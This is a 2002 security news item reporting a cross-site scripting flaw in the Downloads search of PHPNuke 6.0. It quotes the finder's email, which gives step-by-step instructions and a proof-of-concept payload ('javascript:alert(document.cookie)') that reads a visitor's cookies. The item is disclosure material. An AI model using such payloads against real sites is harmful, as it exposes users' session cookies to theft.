Home » Hacking News » PHPNuke 6.0 XSS vulnerability

PHPNuke 6.0 XSS vulnerability

by Nikola Strahija on October 11th, 2002 Arab Vieruz has found an XSS flaw in PHPNuke 6.0, a widely used open-source CMS, which, if exploited, could allow arbitrary code execution.

Arab Vieruz's e-mail message
----------------------------------

Exploit:
1- go to http://[traget]/modules.php?name=Downloads&d_op=search

2- put in form search this code :

javascript:alert(document.cookie)

3- click "Search"

(without "*")

you can't use it an URL like this

http://[traget]/modules.php?
name=Downloads&d_op=search&query=javascript:alert(document.cookie)



----------------------------------

From the forum

The forums are now OPEN AGAIN!

Xatrix.org © Copyright 2001-2016, Xatrix Security . All Rights Reserved
Never underestimate the determination of a kid who is time-rich and cash-poor. - Cory Doctorow